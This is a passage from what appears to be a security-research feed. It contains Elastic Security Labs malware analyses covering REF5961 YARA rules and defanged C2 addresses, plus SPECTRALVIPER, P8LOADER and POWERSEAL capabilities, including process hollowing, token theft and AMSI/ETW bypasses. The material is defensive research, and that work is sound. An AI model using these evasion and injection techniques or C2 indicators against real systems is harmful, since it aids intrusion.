<li>Download/execute additional tooling</li>
<li>C2 options</li>
</ul>
<p>The variety of tooling performing the same or similar tasks with varying degrees and types of miscues causes us to speculate that this environment has attracted the interest of multiple players in the REF2924 threat actor’s organization. The victim's status as a government diplomatic agency would make it an ideal candidate as a stepping-off point to other targets within and outside the agency’s national borders. Additionally, it is easy to imagine that multiple entities within a national intelligence apparatus would have collection requirements that could be satisfied by this victim directly.</p>
<p>This environment has already seen the emergence of the REF2924 intrusion set (SIESTAGRAPH, NAPLISTENER, SOMNIRECORD, and DOORME), as well as the deployment of SHADOWPAD and COBALTSTRIKE. The REF2924 and REF5961 threat actor(s) continue to deploy new malware into their government victim’s environment.</p>
<h2>REF5961 and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advance persistent threats used against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li>EAGERBEE
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
</li>
<li>RUDEBIRD
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
</li>
<li>DOWNTOWN
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
</ul>
</li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li>EAGERBEE
<ul>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1090/">Proxy</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
</ul>
</li>
<li>RUDEBIRD
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1570/">Lateral Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005">Data from Local System</a></li>
</ul>
</li>
<li>DOWNTOWN
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082">System Information Discovery</a></li>
</ul>
</li>
</ul>
<h2>Malware prevention capabilities</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_EagerBee.yar">EAGERBEE</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RudeBird.yar">RUDEBIRD</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DownTown.yar">DOWNTOWN</a></li>
</ul>
<h2>YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the EAGERBEE, RUDEBIRD, and DOWNTOWN malware:</p>
<h3>EAGERBEE</h3>
<pre><code>rule Windows_Trojan_EagerBee_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-09&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.EagerBee&quot;
        reference_sample = &quot;09005775fc587ac7bf150c05352e59dc01008b7bf8c1d870d1cea87561aa0b06&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = { C2 EB D6 0F B7 C2 48 8D 0C 80 41 8B 44 CB 14 41 2B 44 CB 0C 41 }
        $a2 = { C8 75 04 33 C0 EB 7C 48 63 41 3C 8B 94 08 88 00 00 00 48 03 D1 8B }

    condition:
        all of them
}

rule Windows_Trojan_EagerBee_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-09-04&quot;
        last_modified = &quot;2023-09-20&quot;
        threat_name = &quot;Windows.Trojan.EagerBee&quot;
        reference_sample = &quot;339e4fdbccb65b0b06a1421c719300a8da844789a2016d58e8ce4227cb5dc91b&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $dexor_config_file = { 48 FF C0 8D 51 FF 44 30 00 49 03 C4 49 2B D4 ?? ?? 48 8D 4F 01 48 }
        $parse_config = { 80 7C 14 20 3A ?? ?? ?? ?? ?? ?? 45 03 C4 49 03 D4 49 63 C0 48 3B C1 }
        $parse_proxy1 = { 44 88 7C 24 31 44 88 7C 24 32 48 F7 D1 C6 44 24 33 70 C6 44 24 34 3D 88 5C 24 35 48 83 F9 01 }
        $parse_proxy2 = { 33 C0 48 8D BC 24 F0 00 00 00 49 8B CE F2 AE 8B D3 48 F7 D1 48 83 E9 01 48 8B F9 }

    condition:
        2 of them
}
</code></pre>
<h3>RUDEBIRD</h3>
<pre><code>rule Windows_Trojan_RudeBird {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-09&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.RudeBird&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

  strings:
        $a1 = { 40 53 48 83 EC 20 48 8B D9 B9 D8 00 00 00 E8 FD C1 FF FF 48 8B C8 33 C0 48 85 C9 74 05 E8 3A F2 }

    condition:
        all of them
}
</code></pre>
<h3>DOWNTOWN</h3>
<pre><code>rule Windows_Trojan_DownTown_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-10&quot;
        last_modified = &quot;2023-06-13&quot;
        threat_name = &quot;Windows.Trojan.DownTown&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = &quot;SendFileBuffer error -1 !!!&quot; fullword
        $a2 = &quot;ScheduledDownloadTasks CODE_FILE_VIEW &quot; fullword
        $a3 = &quot;ExplorerManagerC.dll&quot; fullword

    condition:
        3 of them
}

rule Windows_Trojan_DownTown_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-08-23&quot;
        last_modified = &quot;2023-09-20&quot;
        threat_name = &quot;Windows.Trojan.DownTown&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = &quot;DeletePluginObject&quot;
        $a2 = &quot;GetPluginInfomation&quot;
        $a3 = &quot;GetPluginObject&quot;
        $a4 = &quot;GetRegisterCode&quot;

    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref5961">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>ce4dfda471f2d3fa4e000f9e3839c3d9fbf2d93ea7f89101161ce97faceadf9a</code></td>
<td>SHA-256</td>
<td>EAGERBEE shellcode</td>
<td>iconcaches.mui</td>
</tr>
<tr>
<td><code>29c90ac124b898b2ff2a4897921d5f5cc251396e8176fc8d6fa475df89d9274d</code></td>
<td>SHA-256</td>
<td>DOWNTOWN</td>
<td>In-memory DLL</td>
</tr>
<tr>
<td><code>185.82.217[.]164</code></td>
<td>ipv4</td>
<td>EAGERBEE C2</td>
<td></td>
</tr>
<tr>
<td><code>195.123.245[.]79</code></td>
<td>ipv4</td>
<td>EAGERBEE C2</td>
<td></td>
</tr>
<tr>
<td><code>45.90.58[.]103</code></td>
<td>ipv4</td>
<td>RUDEBIRD C2</td>
<td></td>
</tr>
<tr>
<td><code>185.195.237[.]123</code></td>
<td>ipv4</td>
<td>RUDEBIRD C2</td>
<td></td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">https://www.elastic.co/pt/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">https://www.elastic.co/pt/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns</a></li>
<li><a href="https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/">https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/</a></li>
<li><a href="https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/">https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/</a></li>
<li><a href="https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py">https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager">https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/actor/ta428">https://malpedia.caad.fkie.fraunhofer.de/actor/ta428</a></li>
<li><a href="https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/">https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/introducing-the-ref5961-intrusion-set/photo-edited-08@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic charms SPECTRALVIPER]]></title>
            <link>https://www.elastic.co/pt/security-labs/elastic-charms-spectralviper</link>
            <guid>elastic-charms-spectralviper</guid>
            <pubDate>Fri, 09 Jun 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs has discovered the P8LOADER, POWERSEAL, and SPECTRALVIPER malware families targeting a national Vietnamese agribusiness. REF2754 shares malware and motivational elements of the REF4322 and APT32 activity groups.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>The REF2754 intrusion set leverages multiple PE loaders, backdoors, and PowerShell runners</li>
<li>SPECTRALVIPER is a heavily obfuscated, previously undisclosed, x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, and token impersonation capabilities</li>
<li>We are attributing REF2754 to a Vietnamese-based intrusion set and aligning with the Canvas Cyclone/APT32/OceanLotus threat actor</li>
</ul>
<h2>Preamble</h2>
<p>Elastic Security Labs has been tracking an intrusion set targeting large Vietnamese public companies for several months, REF2754. During this timeframe, our team discovered new malware being used in coordination by a state-affiliated actor.</p>
<p>This research discusses:</p>
<ul>
<li>The SPECTRALVIPER malware</li>
<li>The P8LOADER malware loader</li>
<li>The POWERSEAL malware</li>
<li>Campaign and intrusion analysis of REF2754</li>
</ul>
<h2>Execution flow</h2>
<p>The first event recorded was the creation of a file (<strong>C:\Users\Public\Libraries\dbg.config)</strong> by the System service dropped over SMB from a previously compromised endpoint. The adversary renamed the SysInternals ProcDump utility, used for collecting memory metadata from running processes, to masquerade as the Windows debugger utility ( <strong>windbg.exe</strong> ). Using the renamed ProcDump application with the <strong>-md</strong> flag, the adversary loaded <strong>dbg.config</strong> , an unsigned DLL containing malicious code.</p>
<p>It should be noted, the ProcDump LOLBAS <a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Procdump/">technique</a> requires a valid process in the arguments; so while <strong>winlogon.exe</strong> is being included in the arguments, it is being used because it is a valid process, not that it is being targeted for collection by ProcDump.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image22.jpg" alt="ProcDump masquerading as WinDbg.exe" /></p>
<p>The unsigned DLL (<strong>dbg.config)</strong> contained DONUTLOADER shellcode which it attempted to inject into <strong>sessionmsg.exe</strong> , the Microsoft Remote Session Message Server. DONUTLOADER was configured to load the SPECTRALVIPER backdoor, and ultimately the situationally-dependent P8LOADER or POWERSEAL malware families. Below is the execution flow for the REF2754 intrusion set.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image16.png" alt="REF2754 execution flow" /></p>
<p>Our team also observed a similar workflow described above, but with different techniques to proxy their malicious execution. One example leveraged the Internet Explorer program ( <strong>ExtExport.exe</strong> ) to load a DLL, while another technique involved side-loading a malicious DLL ( <strong>dnsapi.dll</strong> ) using a legitimate application ( <strong>nslookup.exe</strong> ).</p>
<p>These techniques and malware families make up the REF2754 intrusion set.</p>
<h2>SPECTRALVIPER code analysis</h2>
<h3>Overview</h3>
<p>During our investigation, we observed a previously-undiscovered backdoor malware family that we’re naming SPECTRALVIPER. SPECTRALVIPER is a 64-bit Windows backdoor coded in C++ and heavily obfuscated. It operates with two distinct communication modes, allowing it to receive messages either via HTTP or a Windows named pipe.</p>
<p>Through our analysis, we have identified the following capabilities:</p>
<ul>
<li><strong>PE loading/Injection</strong> : SPECTRALVIPER can load and inject executable files, supporting both x86 and x64 architectures. This capability enables it to execute malicious code within legitimate processes.</li>
<li><strong>Token Impersonation</strong> : The malware possesses the ability to impersonate security tokens, granting it elevated privileges and bypassing certain security measures. This enables unauthorized access and manipulation of sensitive resources.</li>
<li><strong>File downloading/uploading</strong> : SPECTRALVIPER can download and upload files to and from the compromised system. This allows the attacker to exfiltrate data or deliver additional malicious payloads to the infected machine.</li>
<li><strong>File/directory manipulation</strong> : The backdoor is capable of manipulating files and directories on the compromised system. This includes creating, deleting, modifying, and moving files or directories, providing the attacker with extensive control over the victim's file system.</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image30.jpg" alt="SPECTRALVIPER overview" /></p>
<h3>Execution flow</h3>
<h4>Launch</h4>
<p>SPECTRALVIPER can be compiled as a PE executable or DLL file. Launching the malware as a PE is straightforward by executing <strong>.\spectralviper.exe</strong>.</p>
<p>However, when the malware is a DLL it will attempt to disguise itself as a legitimate library with known exports such as sqlite3 in our observed sample.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image14.jpg" alt="SPECTRALVIPER DLL sample exports" /></p>
<p>The SPECTRALVIPER entrypoint is hidden within these exports. In order to find the right one, we can brute-force call them using PowerShell and <a href="https://github.com/BenjaminSoelberg/RunDLL-NG">rundll-ng</a>. The PowerShell command depicted below calls each SPECTRALVIPER export in a <strong>for</strong> loop until we find the one launching the malware capabilities.</p>
<pre><code>for($i=0; $i -lt 20; $i++){.\rundll-ng\rundll64-ng.exe &quot;.\7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb.dll&quot; &quot;#$i&quot;}
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image33.jpg" alt="Brute-forcing calls to SPECTRALVIPER exports" /></p>
<p>Upon execution, the binary operates in either HTTP mode or pipe mode, determined by its hardcoded configuration.</p>
<h4>Pipe mode</h4>
<p>In pipe mode, SPECTRALVIPER opens a named pipe with a hardcoded name and waits for incoming commands, in this example <strong>\.\pipe\raSeCIR4gg</strong>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image19.jpg" alt="SPECTRALVIPER sample operating in pipe mode" /></p>
<p>This named pipe doesn’t have any security attributes meaning it’s accessible by everyone. This is interesting because an unsecured named pipe can be overtaken by a co-resident threat actor (either known or unknown to the SPECTRALVIPER operator) or defensive teams as a way to interrupt this execution mode.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image6.jpg" alt="SPECTRALVIPER’s pipe security attributes" /></p>
<p>However, a specific protocol is needed to communicate with this pipe. SPECTRALVIPER implements the <a href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange">Diffie-Helman key exchange protocol</a> to exchange the key needed to encrypt and decrypt commands transmitted via the named pipe, which is AES-encrypted.</p>
<h4>HTTP mode</h4>
<p>In HTTP mode, the malware will beacon to its C2 every <em>n</em> seconds, the interval period is generated randomly in a range between 10 and 99 seconds.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image20.jpg" alt="SPECTRALVIPER’s other sample operates in HTTP mode" /></p>
<p>Using a debugger, we can force the binary to use the HTTP channel instead of the named pipe if the binary contains a hard-coded domain.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image28.jpg" alt="Debugging SPECTRALVIPER to force the HTTP mode" /></p>
<p>Below is an HTTP request example.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image15.jpg" alt="SPECTRALVIPER HTTP request example" /></p>
<p>The request contains a cookie header, “ <strong>euconsent-v2</strong> ”, which contains host-gathered information. This information is encrypted using RSA1024 asymmetric encryption and base64-encoded using Base64. Below is an example of the cookie content before encryption.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image10.jpg" alt="Cookie data pre RSA1024 encryption" /></p>
<p>We believe that the first value, in this example “ <strong>H9mktfe2k0ukk64nZjw1ow==</strong> ”, is the randomly generated AES key that is shared with the server to encrypt communication data.</p>
<h3>Commands</h3>
<p>While analyzing SPECTRALVIPER samples we discovered its command handler table containing between 33 and 36 handlers.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image17.jpg" alt="SPECTRALVIPER registering command handlers" /></p>
<p>Below is a table listing of the commands that were identified.</p>
<table>
<thead>
<tr>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>DownloadFile</td>
</tr>
<tr>
<td>3</td>
<td>UploadFile</td>
</tr>
<tr>
<td>5</td>
<td>SetBeaconIntervals</td>
</tr>
<tr>
<td>8</td>
<td>CreateRundll32ProcessAndHollow</td>
</tr>
<tr>
<td>11</td>
<td>InjectShellcodeInProcess</td>
</tr>
<tr>
<td>12</td>
<td>CreateProcessAndInjectShellcode</td>
</tr>
<tr>
<td>13</td>
<td>InjectPEInProcess</td>
</tr>
<tr>
<td>14</td>
<td>CreateProcessAndHollow</td>
</tr>
<tr>
<td>20</td>
<td>CreateRundll32ProcessWithArgumentAndInjectPE</td>
</tr>
<tr>
<td>81</td>
<td>StealProcessToken</td>
</tr>
<tr>
<td>82</td>
<td>ImpersonateUser</td>
</tr>
<tr>
<td>83</td>
<td>RevertToSelf</td>
</tr>
<tr>
<td>84</td>
<td>AdjustPrivileges</td>
</tr>
<tr>
<td>85</td>
<td>GetCurrentUserName</td>
</tr>
<tr>
<td>103</td>
<td>ListFiles</td>
</tr>
<tr>
<td>106</td>
<td>ListRunningProcesses</td>
</tr>
<tr>
<td>108</td>
<td>CopyFile</td>
</tr>
<tr>
<td>109</td>
<td>DeleteFile</td>
</tr>
<tr>
<td>110</td>
<td>CreateDirectory</td>
</tr>
<tr>
<td>111</td>
<td>MoveFile</td>
</tr>
<tr>
<td>200</td>
<td>RunDLLInOwnProcess</td>
</tr>
</tbody>
</table>
<p>In order to speed up the process of interacting with SPECTRALVIPER, we bypassed the communication protocols and injected our own backdoor into the binary. This backdoor will open a socket and call the handlers upon receiving our messages.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image13.jpg" alt="Injecting our backdoor to call SPECTRALVIPER handlers" /></p>
<p>When the <strong>AdjustPrivileges</strong> command is executed, and depending on the process's current privilege level, the malware will try to set the following list of privileges.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image3.jpg" alt="SPECTRALVIPER setting privileges" /></p>
<h3>Defense evasion</h3>
<h4>Code obfuscation</h4>
<p>The binary code is heavily obfuscated by splitting each function into multi-level dummy functions that encapsulate the initial logic. On top of that, the control flow of those functions is also obfuscated using control flow flattening. <a href="https://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/">Control flow flattening</a> is an obfuscation technique that removes clean program structures and places the blocks next to each other inside a loop with a switch statement to control the flow of the program.</p>
<p>Below is an example of a second-level identity function where the highlighted parameter <strong>p_a1</strong> is just returned despite the complexity of the function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image21.jpg" alt="SPECTRALVIPER obfuscated function example" /></p>
<h4>String obfuscation</h4>
<p>SPECTRALVIPER’s strings are obfuscated using a custom structure and AES decryption. The key is hardcoded ( <strong>&quot;\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f&quot;</strong> ) and the IV is contained within the encrypted string structure.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image24.jpg" alt="Encrypted string structure 1/2" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image2.jpg" alt="Encrypted string structure 2/2" /></p>
<p>We can decrypt the strings by instrumenting the malware and calling its AES decryption functions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image27.jpg" alt="Decrypting strings by instrumenting the binary 1/2" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image31.png" alt="Decrypting strings by instrumenting the binary 2/2" /></p>
<h3>Summary</h3>
<p>SPECTRALVIPER is an x64 backdoor discovered during intrusion analysis by Elastic Security Labs. It can be compiled as an executable or DLL which usually would imitate known binary exports.</p>
<p>It enables process loading/injection, token impersonation, and file manipulation. It utilizes encrypted communication channels (HTTP and named pipe) with AES encryption and Diffie-Hellman or RSA1024 key exchange.</p>
<p>All samples are heavily obfuscated using the same obfuscator with varying levels of hardening.</p>
<p>Using the information we collected through static and dynamic analysis, we were able to identify several other samples in VirusTotal. Using the debugging process outlined above, we were also able to collect the C2 infrastructure for these samples.</p>
<h2>P8LOADER</h2>
<h3>Overview</h3>
<p>The Portable Executable (PE) described below is a Windows x64 PE loader, written in C++, which we are naming P8LOADER after one of its exports, <strong>P8exit</strong>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image5.jpg" alt="P8exit export name" /></p>
<h3>Discovery</h3>
<p>P8LOADER was initially discovered when an unbacked shellcode alert was generated by the execution of a valid Windows process, <strong>RuntimeBroker.exe</strong>. Unbacked executable sections, or <em>floating code</em>, are the result of code section types set to “Private” instead of “Image” like you would see when code is mapped to a file on disk. Threads starting from these types of memory regions are anomalous and a good indicator of malicious activity.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image1.jpg" alt="P8LOADER unbacked observation" /></p>
<blockquote>
<p>If you want to learn more about unbacked executable events, check out the <a href="https://www.elastic.co/pt/security-labs/hunting-memory">Hunting in Memory research</a> publication by Joe Desimone.</p>
</blockquote>
<h3>Execution flow</h3>
<p>The loader exports two functions that have the capability to load PE binaries into its own process memory, either from a file or from memory.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image26.jpg" alt="P8LOADER functions" /></p>
<p>The PE to be executed is loaded into memory using the <strong>VirtualAlloc</strong> method with a classic PE loading algorithm (loading sections, resolving imports, and applying relocations).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image9.jpg" alt="P8LOADER loading the PE to be executed" /></p>
<p>Next, a new thread is allocated with the entry point of the PE as the starting address.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image34.jpg" alt="P8LOADER setting the PE starting address" /></p>
<p>Finally, the loaded PE’s STDOUT handle is replaced with a pipe and a reading pipe thread is created as a way to redirect the output of the binary to the loader logging system.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image29.jpg" alt="P8LOADER redirecting to the loader logging system" /></p>
<p>On top of redirecting the loaded PE output, the loader uses an API interception mechanism to hook certain APIs of the loaded process, log any calls to it, and send the data through a named pipe (with a randomly generated UUID string as the name).</p>
<p>The hooking of the PE's import table is done at import resolution time by replacing the originally imported function addresses with their own stub.</p>
<h3>Defense evasion</h3>
<h4>String obfuscation</h4>
<p>P8LOADER uses a C++ template-based obfuscation technique to obscure errors and debug strings with a set of different algorithms chosen randomly at compile time.</p>
<p>These strings are obfuscated to hinder analysis as they provide valuable information about the loader functions and capabilities.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image7.png" alt="String decryption algorithm example 1/3" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image23.png" alt="String decryption algorithm example 2/3" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image25.jpg" alt="String decryption algorithm example 3/3" /></p>
<h3>Summary</h3>
<p>P8LOADER is a newly discovered x64 Windows loader that is used to execute a PE from a file or from memory. This malware is able to redirect the loaded PE output to its logging system and hook the PE imports to log import calls.</p>
<h2>POWERSEAL code analysis</h2>
<h3>Overview</h3>
<p>During this intrusion, we observed a lightweight .NET PowerShell runner that we call POWERSEAL based on embedded strings. After SPECTRALVIPER was successfully deployed, the POWERSEAL utility would be used to launch supplied PowerShell scripts or commands. The malware leverages syscalls ( <strong>NtWriteVirtualMemory</strong> ) for evading defensive solutions (AMSI/ETW).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image11.jpg" alt="POWERSEAL Classes/Functions" /></p>
<h3>Defense evasion</h3>
<p>Event Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-mode applications and kernel-mode drivers. The Anti Malware Scan Interface (AMSI) provides enhanced malware protection for data, applications, and workloads. POWERSEAL adopts well-known and publicly-available bypasses in order to patch these technologies in memory. This increases their chances of success while decreasing their detectable footprint.</p>
<p>For example, POWERSEAL employs <a href="https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/">common approaches to unhooking and bypassing AMSI</a> in order to bypass Microsoft Defender’s signature</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image8.jpg" alt="POWERSEAL bypassing AMSI" /></p>
<h3>Launch PowerShell</h3>
<p>POWERSEAL’s primary function is to execute PowerShell. In the following depiction of POWERSEAL’s source code, we can see that POWERSEAL uses PowerShell to execute a script and arguments ( <strong>command</strong> ). The script and arguments are provided by the threat actor and were not observed in the environment.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image32.jpg" alt="POWERSEAL executing shellcode with PowerShell" /></p>
<h3>Summary</h3>
<p>POWERSEAL is a new and purpose-built PowerShell runner that borrows freely from a variety of open source offensive security tools, delivering offensive capabilities in a streamlined package with built-in defense evasion.</p>
<h2>Campaign and adversary modeling</h2>
<h3>Overview</h3>
<p>REF2754 is an ongoing campaign against large nationally important public companies within Vietnam. The malware execution chain in this campaign is initiated with DONUTLOADER, but goes on to utilize previously unreported tooling.</p>
<ol>
<li>SPECTRALVIPER, an obfuscated x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, token impersonation, and named pipe and HTTP command and control</li>
<li>P8LOADER, an obfuscated Windows PE loader allowing the attacker to minimize and obfuscate some logging on the victim endpoints, and</li>
<li>POWERSEAL, a PowerShell runner with ETW and AMSI bypasses built in for enhanced defensive evasion when using PowerShell tools</li>
</ol>
<p>Elastic Security Labs concludes with moderate confidence that this campaign is executed by a Vietnamese state-affiliated threat.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image4.png" alt="REF2754 and REF4322 campaign intersections" /></p>
<h3>Victimology</h3>
<p>Using our SPECTRALVIPER YARA signature, we identified two endpoints in a second environment infected with SPECTRALVIPER implants. That environment was discussed in Elastic Security Labs research in 2022 which describes <a href="https://www.elastic.co/pt/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector">REF4322</a>.</p>
<p>The REF4322 victim is a Vietnam-based financial services company. Elastic Security Labs first talked about this victim and activity group in 2022.</p>
<p>The REF2754 victim has been identified as a large Vietnam-based agribusiness.</p>
<p>Further third party intelligence from VirusTotal, based on retro-hunting the YARA rules available at the end of this research, indicate additional Vietnam-based victims. There were eight total Retrohunt hits:</p>
<ul>
<li>All were manually confirmed to be SPECTRALVIPER</li>
<li>All samples were between 1.59MB and 1.77MB in size</li>
<li>All VirusTotal samples were initially submitted from Vietnam</li>
</ul>
<p>Some samples were previously identified in our first party collection, and some were new to us.</p>
<blockquote>
<p>Be mindful of the analytic limitations of relying on “VT submitter” too heavily. This third party reporting mechanism may be subject to circular reporting concerns or VPN usage that modifies the GEOs used, and inadvertent reinforcement of a hypothesis. In this case, it was used in an attempt to try to find samples with apparent non-VN origins, without success.</p>
</blockquote>
<p>At the time of publication, all known victims are large public companies physically within Vietnam, and conducting business primarily within Vietnam.</p>
